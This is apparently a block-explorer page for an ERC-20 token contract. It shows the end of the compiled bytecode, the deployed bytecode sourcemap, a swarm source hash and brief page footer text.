4683a206164646974696f6e206f766572666c6f770000000000604482015260640161038f565b5f610e0183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d4b565b5f81836110e55760405162461bcd60e51b815260040161038f91906110f1565b505f610d7a84866113dd565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461113a575f80fd5b50565b5f806040838503121561114e575f80fd5b823561115981611126565b946020939093013593505050565b5f805f60608486031215611179575f80fd5b833561118481611126565b9250602084013561119481611126565b929592945050506040919091013590565b5f602082840312156111b5575f80fd5b8135610e0181611126565b5f80604083850312156111d1575f80fd5b82356111dc81611126565b915060208301356111ec81611126565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561124557815f190482111561122b5761122b6111f7565b8085161561123857918102915b93841c9390800290611210565b509250929050565b5f8261125b575060016102d9565b8161126757505f6102d9565b816001811461127d5760028114611287576112a3565b60019150506102d9565b60ff841115611298576112986111f7565b50506001821b6102d9565b5060208310610133831016604e8410600b84101617156112c6575081810a6102d9565b6112d0838361120b565b805f19048211156112e3576112e36111f7565b029392505050565b5f610e0160ff84168361124d565b80820281158282048414176102d9576102d96111f7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611357575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611380575f80fd5b8151610e0181611126565b5f6001820161139c5761139c6111f7565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b808201808211156102d9576102d96111f7565b818103818111156102d9576102d96111f7565b5f826113f757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561144c5784516001600160a01b031683529383019391830191600101611427565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220018dc915117e56a999e85dea89a698407613e43fa803be5cbfe12c8882ce43a364736f6c63430008190033

Deployed Bytecode Sourcemap

3778:6577:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6150:83;;;;;;;;;;-1:-1:-1;6220:5:0;;;;;;;;;;;;-1:-1:-1;;;6220:5:0;;;;6150:83;;;;;;;:::i;:::-;;;;;;;;6981:161;;;;;;;;;;-1:-1:-1;6981:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6981:161:0;893:187:1;6427:95:0;;;;;;;;;;;;;:::i;:::-;;;1231:25:1;;;1219:2;1204:18;6427:95:0;1085:177:1;7150:313:0;;;;;;;;;;-1:-1:-1;7150:313:0;;;;;:::i;:::-;;:::i;6336:83::-;;;;;;;;;;-1:-1:-1;6336:83:0;;4506:1;1870:36:1;;1858:2;1843:18;6336:83:0;1728:184:1;6530:117:0;;;;;;;;;;-1:-1:-1;6530:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6623:16:0;6596:7;6623:16;;;:7;:16;;;;;;;6530:117;2476:148;;;;;;;;;;;;;:::i;:::-;;2262:79;;;;;;;;;;-1:-1:-1;2300:7:0;2327:6;2262:79;;-1:-1:-1;;;;;2327:6:0;;;2315:51:1;;2303:2;2288:18;2262:79:0;2169:203:1;6241:87:0;;;;;;;;;;-1:-1:-1;6313:7:0;;;;;;;;;;;;-1:-1:-1;;;6313:7:0;;;;6241:87;;6655:167;;;;;;;;;;-1:-1:-1;6655:167:0;;;;;:::i;:::-;;:::i;5829:313::-;;;;;;;;;;;;;:::i;6830:143::-;;;;;;;;;;-1:-1:-1;6830:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6938:18:0;;;6911:7;6938:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6830:143;10056:296;;;;;;;;;;;;;:::i;6981:161::-;7056:4;7073:39;614:10;7096:7;7105:6;7073:8;:39::i;:::-;-1:-1:-1;7130:4:0;6981:161;;;;;:::o;6427:95::-;6480:7;4562:13;4506:1;4562:2;:13;:::i;:::-;4549:26;;:10;:26;:::i;:::-;6500:14;;6427:95;:::o;7150:313::-;7248:4;7265:36;7275:6;7283:9;7294:6;7265:9;:36::i;:::-;7312:121;7321:6;614:10;7343:89;7381:6;7343:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7343:19:0;;;;;;:11;:19;;;;;;;;614:10;7343:33;;;;;;;;;;:37;:89::i;:::-;7312:8;:121::i;:::-;-1:-1:-1;7451:4:0;7150:313;;;;;:::o;2476:148::-;2389:6;;-1:-1:-1;;;;;2389:6:0;614:10;2389:22;2381:67;;;;-1:-1:-1;;;2381:67:0;;;;;;;:::i;:::-;;;;;;;;;2583:1:::1;2567:6:::0;;2546:40:::1;::::0;-1:-1:-1;;;;;2567:6:0;;::::1;::::0;2546:40:::1;::::0;2583:1;;2546:40:::1;2614:1;2597:19:::0;;-1:-1:-1;;;;;;2597:19:0::1;::::0;;2476:148::o;6655:167::-;6733:4;6750:42;614:10;6774:9;6785:6;6750:9;:42::i;5829:313::-;2389:6;;-1:-1:-1;;;;;2389:6:0;614:10;2389:22;2381:67;;;;-1:-1:-1;;;2381:67:0;;;;;;;:::i;:::-;5893:15:::1;::::0;::::1;::::0;::::1;;;5892:16;5884:51;;;::::0;-1:-1:-1;;;5884:51:0;;5015:2:1;5884:51:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:25;5073:18;;;5066:53;5136:18;;5884:51:0::1;4813:347:1::0;5884:51:0::1;5946:11;::::0;6012:4:::1;6596:7:::0;6623:16;;;:7;:16;;;;;;5946:11;;;::::1;-1:-1:-1::0;;;;;5946:11:0::1;::::0;:27:::1;::::0;5981:21:::1;::::0;6043:1:::1;6045::::0;6047:7:::1;2300::::0;2327:6;-1:-1:-1;;;;;2327:6:0;;2262:79;6047:7:::1;5946:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5946:125:0;;;-1:-1:-1;;;;;5524:15:1;;;5946:125:0::1;::::0;::::1;5506:34:1::0;5556:18;;;5549:34;;;;5599:18;;;5592:34;;;;5642:18;;;5635:34;5706:15;;;5685:19;;;5678:44;6055:15:0::1;5738:19:1::0;;;5731:35;5440:19;;5946:125:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6082:12:0::1;:19:::0;;-1:-1:-1;;6112:22:0;;;;;-1:-1:-1;5829:313:0:o;10056:296::-;2389:6;;-1:-1:-1;;;;;2389:6:0;614:10;2389:22;2381:67;;;;-1:-1:-1;;;2381:67:0;;;;;;;:::i;:::-;10108:11:::1;:68:::0;;-1:-1:-1;;;;;;10108:68:0::1;::::0;::::1;::::0;;;;10187:54:::1;::::0;10204:4:::1;::::0;-1:-1:-1;;;;;10108:68:0;10219:11;;::::1;;4562:13;4506:1;4562:2;:13;:::i;:::-;4549:26;::::0;:10:::1;:26;:::i;10187:54::-;10276:11;;;;;;;;;-1:-1:-1::0;;;;;10276:11:0::1;-1:-1:-1::0;;;;;10276:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10264:45:0::1;;10318:4;10325:11;;;;;;;;;-1:-1:-1::0;;;;;10325:11:0::1;-1:-1:-1::0;;;;;10325:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10264:80;::::0;-1:-1:-1;;;;;;10264:80:0::1;::::0;;;;;;-1:-1:-1;;;;;6574:15:1;;;10264:80:0::1;::::0;::::1;6556:34:1::0;6626:15;;6606:18;;;6599:43;6491:18;;10264:80:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10252:9;:92:::0;;-1:-1:-1;;;;;;10252:92:0::1;-1:-1:-1::0;;;;;10252:92:0;;;::::1;::::0;;;::::1;::::0;;10056:296::o;7471:335::-;-1:-1:-1;;;;;7564:19:0;;7556:68;;;;-1:-1:-1;;;7556:68:0;;6855:2:1;7556:68:0;;;6837:21:1;6894:2;6874:18;;;6867:30;6933:34;6913:18;;;6906:62;-1:-1:-1;;;6984:18:1;;;6977:34;7028:19;;7556:68:0;6653:400:1;7556:68:0;-1:-1:-1;;;;;7643:21:0;;7635:68;;;;-1:-1:-1;;;7635:68:0;;7260:2:1;7635:68:0;;;7242:21:1;7299:2;7279:18;;;7272:30;7338:34;7318:18;;;7311:62;-1:-1:-1;;;7389:18:1;;;7382:32;7431:19;;7635:68:0;7058:398:1;7635:68:0;-1:-1:-1;;;;;7714:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7766:32;;1231:25:1;;;7766:32:0;;1204:18:1;7766:32:0;;;;;;;7471:335;;;:::o;7814:1980::-;-1:-1:-1;;;;;7914:21:0;;7906:71;;;;-1:-1:-1;;;7906:71:0;;7663:2:1;7906:71:0;;;7645:21:1;7702:2;7682:18;;;7675:30;7741:34;7721:18;;;7714:62;-1:-1:-1;;;7792:18:1;;;7785:35;7837:19;;7906:71:0;7461:401:1;7906:71:0;-1:-1:-1;;;;;7996:24:0;;7988:72;;;;-1:-1:-1;;;7988:72:0;;8069:2:1;7988:72:0;;;8051:21:1;8108:2;8088:18;;;8081:30;8147:34;8127:18;;;8120:62;-1:-1:-1;;;8198:18:1;;;8191:33;8241:19;;7988:72:0;7867:399:1;7988:72:0;8089:1;8079:7;:11;8071:65;;;;-1:-1:-1;;;8071:65:0;;8473:2:1;8071:65:0;;;8455:21:1;8512:2;8492:18;;;8485:30;8551:34;8531:18;;;8524:62;-1:-1:-1;;;8602:18:1;;;8595:39;8651:19;;8071:65:0;8271:405:1;8071:65:0;8149:16;2327:6;;-1:-1:-1;;;;;8182:18:0;;;2327:6;;8182:18;;;;:43;;-1:-1:-1;2300:7:0;2327:6;-1:-1:-1;;;;;8204:21:0;;;2327:6;;8204:21;;8182:43;8178:1058;;;8253:77;8326:3;8253:68;8276:15;;8266:9;;:25;8265:55;;8306:14;;8265:55;;;8293:12;;8265:55;8253:7;;:11;:68::i;:::-;:72;;:77::i;:::-;8362:9;;8242:88;;-1:-1:-1;;;;;;8351:20:0;;;8362:9;;8351:20;:58;;;;-1:-1:-1;8397:11:0;;-1:-1:-1;;;;;8375:34:0;;;8397:11;;;;;8375:34;;8351:58;:94;;;;-1:-1:-1;;;;;;8415:30:0;;;;;;:18;:30;;;;;;;;8413:32;8351:94;8347:146;;;8466:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8347:146;8526:9;;-1:-1:-1;;;;;8512:23:0;;;8526:9;;8512:23;:50;;;;-1:-1:-1;;;;;;8539:23:0;;8557:4;8539:23;;8512:50;8509:181;;;8594:80;8670:3;8594:71;8617:16;;8607:9;;:26;8606:58;;8649:15;;8606:58;;;8635:13;;8594:7;;:11;:71::i;:80::-;8583:91;;8509:181;8755:4;8706:28;6623:16;;;:7;:16;;;;;;8781:6;;;;8780:7;:34;;;;-1:-1:-1;8805:9:0;;-1:-1:-1;;;;;8791:23:0;;;8805:9;;8791:23;8780:34;:50;;;;-1:-1:-1;8818:12:0;;;;;;;8780:50;:84;;;;;8846:18;;8834:9;;:30;8780:84;8776:449;;;8911:13;;8888:20;:36;8885:130;;;8943:72;8960:54;8964:7;8973:40;8977:20;8999:13;;8973:3;:40::i;:::-;8960:3;:54::i;:::-;8943:16;:72::i;:::-;9063:21;9155:35;9168:21;9155:12;:35::i;:::-;8866:359;8776:449;8227:1009;8178:1058;9303:9;;:22;;9317:7;9303:13;:22::i;:::-;-1:-1:-1;;;;;9248:20:0;;;;;;;:11;:20;;;;;;;;9269:29;;;;;;;9270:11;;;;;9269:29;;;;;;;;;9248:51;;;;;;;;;:77;;:51;;:20;:77;;;;;:::i;:::-;;;;-1:-1:-1;;9391:9:0;;:22;;9405:7;9391:13;:22::i;:::-;-1:-1:-1;;;;;9336:20:0;;;;;;;:11;:20;;;;;;;;9357:29;;;;;;;9358:11;;;;;9357:29;;;;;;;;;9336:51;;;;;;;;;:77;;:51;;:20;:77;;;;;:::i;:::-;;;;-1:-1:-1;;9429:10:0;;9426:157;;9492:4;9476:22;;;;:7;:22;;;;;;:36;;9503:8;9476:26;:36::i;:::-;9469:4;9453:22;;;;:7;:22;;;;;;;:59;;;;9530:41;;-1:-1:-1;;;;;9530:41:0;;;;;;;9562:8;1231:25:1;;1219:2;1204:18;;1085:177;9530:41:0;;;;;;;;9426:157;-1:-1:-1;;;;;9612:16:0;;;;;;:7;:16;;;;;;:29;;9633:7;9612:20;:29::i;:::-;-1:-1:-1;;;;;9595:16:0;;;;;;:7;:16;;;;;:46;9672;9696:21;:7;9708:8;9696:11;:21::i;:::-;-1:-1:-1;;;;;9672:19:0;;;;;;:7;:19;;;;;;;:23;:46::i;:::-;-1:-1:-1;;;;;9652:19:0;;;;;;;:7;:19;;;;;:66;;;;9734:52;;;9764:21;:7;9776:8;9764:11;:21::i;:::-;9734:52;;1231:25:1;;;1219:2;1204:18;9734:52:0;;;;;;;7895:1899;7814:1980;;;:::o;2988:190::-;3074:7;3110:12;3102:6;;;;3094:29;;;;-1:-1:-1;;;3094:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3134:9:0;3146:5;3150:1;3146;:5;:::i;:::-;3134:17;2988:190;-1:-1:-1;;;;;2988:190:0:o;3186:246::-;3244:7;3268:1;3273;3268:6;3264:47;;-1:-1:-1;3298:1:0;3291:8;;3264:47;3321:9;3333:5;3337:1;3333;:5;:::i;:::-;3321:17;-1:-1:-1;3366:1:0;3357:5;3361:1;3321:17;3357:5;:::i;:::-;:10;3349:56;;;;-1:-1:-1;;;3349:56:0;;9640:2:1;3349:56:0;;;9622:21:1;9679:2;9659:18;;;9652:30;9718:34;9698:18;;;9691:62;-1:-1:-1;;;9769:18:1;;;9762:31;9810:19;;3349:56:0;9438:397:1;3349:56:0;3423:1;3186:246;-1:-1:-1;;;3186:246:0:o;3440:132::-;3498:7;3525:39;3529:1;3532;3525:39;;;;;;;;;;;;;;;;;:3;:39::i;9802:99::-;9859:7;9887:1;9885;:3;9884:9;;9892:1;9884:9;;;-1:-1:-1;9890:1:0;9802:99;-1:-1:-1;9802:99:0:o;5350:471::-;4901:6;:13;;-1:-1:-1;;4901:13:0;4910:4;4901:13;;;5452:16:::1;::::0;;5466:1:::1;5452:16:::0;;;;;::::1;::::0;;-1:-1:-1;;5452:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;5452:16:0::1;5428:40;;5497:4;5479;5484:1;5479:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;5479:23:0::1;;;-1:-1:-1::0;;;;;5479:23:0::1;;;::::0;::::1;5523:11;;;;;;;;;-1:-1:-1::0;;;;;5523:11:0::1;-1:-1:-1::0;;;;;5523:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5513:4;5518:1;5513:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5513:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;5584:11:::1;::::0;5552:58:::1;::::0;5569:4:::1;::::0;5584:11;;::::1;;5598::::0;5552:8:::1;:58::i;:::-;5621:11;::::0;:192:::1;::::0;-1:-1:-1;;;5621:192:0;;:11;;;::::1;-1:-1:-1::0;;;;;5621:11:0::1;::::0;:62:::1;::::0;:192:::1;::::0;5698:11;;5724:1:::1;::::0;5740:4;;5767::::1;::::0;5787:15:::1;::::0;5621:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4937:6:0;:14;;-1:-1:-1;;4937:14:0;;;-1:-1:-1;;;;5350:471:0:o;9909:102::-;9974:11;;9966:37;;-1:-1:-1;;;;;9974:11:0;;;;9966:37;;;;;9996:6;;9974:11;9966:37;9974:11;9966:37;9996:6;9974:11;9966:37;;;;;;;;;;;;;;;;;;;;;9909:102;:::o;2657:179::-;2715:7;;2747:5;2751:1;2747;:5;:::i;:::-;2735:17;;2776:1;2771;:6;;2763:46;;;;-1:-1:-1;;;2763:46:0;;11159:2:1;2763:46:0;;;11141:21:1;11198:2;11178:18;;;11171:30;11237:29;11217:18;;;11210:57;11284:18;;2763:46:0;10957:351:1;2844:136:0;2902:7;2929:43;2933:1;2936;2929:43;;;;;;;;;;;;;;;;;:3;:43::i;3580:189::-;3666:7;3701:12;3694:5;3686:28;;;;-1:-1:-1;;;3686:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3725:9:0;3737:5;3741:1;3737;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;5777:306::-;5865:6;5873;5881;5934:2;5922:9;5913:7;5909:23;5905:32;5902:52;;;5950:1;5947;5940:12;5902:52;5979:9;5973:16;5963:26;;6029:2;6018:9;6014:18;6008:25;5998:35;;6073:2;6062:9;6058:18;6052:25;6042:35;;5777:306;;;;;:::o;6088:251::-;6158:6;6211:2;6199:9;6190:7;6186:23;6182:32;6179:52;;;6227:1;6224;6217:12;6179:52;6259:9;6253:16;6278:31;6303:5;6278:31;:::i;8681:135::-;8720:3;8741:17;;;8738:43;;8761:18;;:::i;:::-;-1:-1:-1;8808:1:1;8797:13;;8681:135::o;8821:127::-;8882:10;8877:3;8873:20;8870:1;8863:31;8913:4;8910:1;8903:15;8937:4;8934:1;8927:15;8953:125;9018:9;;;9039:10;;;9036:36;;;9052:18;;:::i;9083:128::-;9150:9;;;9171:11;;;9168:37;;;9185:18;;:::i;9216:217::-;9256:1;9282;9272:132;;9326:10;9321:3;9317:20;9314:1;9307:31;9361:4;9358:1;9351:15;9389:4;9386:1;9379:15;9272:132;-1:-1:-1;9418:9:1;;9216:217::o;9972:980::-;10234:4;10282:3;10271:9;10267:19;10313:6;10302:9;10295:25;10339:2;10377:6;10372:2;10361:9;10357:18;10350:34;10420:3;10415:2;10404:9;10400:18;10393:31;10444:6;10479;10473:13;10510:6;10502;10495:22;10548:3;10537:9;10533:19;10526:26;;10587:2;10579:6;10575:15;10561:29;;10608:1;10618:195;10632:6;10629:1;10626:13;10618:195;;;10697:13;;-1:-1:-1;;;;;10693:39:1;10681:52;;10788:15;;;;10753:12;;;;10729:1;10647:9;10618:195;;;-1:-1:-1;;;;;;;10869:32:1;;;;10864:2;10849:18;;10842:60;-1:-1:-1;;;10933:3:1;10918:19;10911:35;10830:3;9972:980;-1:-1:-1;;;9972:980:1:o

Swarm Source

ipfs://018dc915117e56a999e85dea89a698407613e43fa803be5cbfe12c8882ce43a3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.